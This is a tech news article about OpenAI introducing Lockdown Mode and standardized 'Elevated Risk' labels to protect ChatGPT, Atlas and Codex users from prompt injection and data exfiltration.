OpenAI has announced two new security features designed to protect users from advanced cyber threats and prompt injection attacks.
As AI tools become more powerful and connected to the web and external apps, the risk of malicious instructions and sensitive data leaks has increased. To address this, OpenAI is rolling out Lockdown Mode and standardized Elevated Risk labels across its platforms.
Prompt injection is an emerging threat where attackers attempt to manipulate AI systems into revealing confidential information or following harmful instructions. With AI increasingly handling web browsing, coding, and connected app tasks, these attacks can become more sophisticated. OpenAI says the new protections are built to give users stronger safeguards and clearer visibility into potential risks.
Lockdown Mode is an optional advanced security setting designed for high-risk users such as executives, security teams, and organizations that require stronger protection. It tightly restricts how ChatGPT interacts with external systems. For example, web browsing in Lockdown Mode is limited to cached content only, meaning no live network requests leave OpenAI’s controlled network. This helps prevent sensitive data from being exposed through malicious websites. Some features are completely disabled if OpenAI cannot guarantee deterministic data protection.
Lockdown Mode is available for ChatGPT Enterprise, ChatGPT Edu, ChatGPT for Healthcare, and ChatGPT for Teachers. Workspace administrators can enable it through Workspace Settings by creating a dedicated role. Admins also get granular control, allowing them to choose which apps and specific actions remain accessible. Additionally, OpenAI’s Compliance API Logs Platform provides detailed visibility into app usage and shared data for oversight. The company plans to make Lockdown Mode available to consumers in the coming months.
Alongside Lockdown Mode, OpenAI is introducing standardized “Elevated Risk” labels. These labels will appear on certain features across ChatGPT, ChatGPT Atlas, and Codex that may introduce additional security risks. The goal is to help users make informed decisions before enabling advanced capabilities, especially those involving internet access or connected applications.
For example, in Codex, developers can grant internet access so the assistant can fetch documentation or perform web-based actions. When this setting is enabled, it now clearly displays an Elevated Risk warning along with an explanation of what changes and what potential risks may arise. This ensures users understand the trade-offs between convenience and security.
If this article helped you, please consider supporting our work. Every small contribution keeps Abijita.com independent and running.
OpenAI says these measures build on its existing security protections, including sandboxing, URL-based data exfiltration defenses, monitoring systems, and enterprise-level controls like role-based access and audit logs. The company also confirmed that as safeguards improve over time, Elevated Risk labels may be removed once risks are sufficiently mitigated.
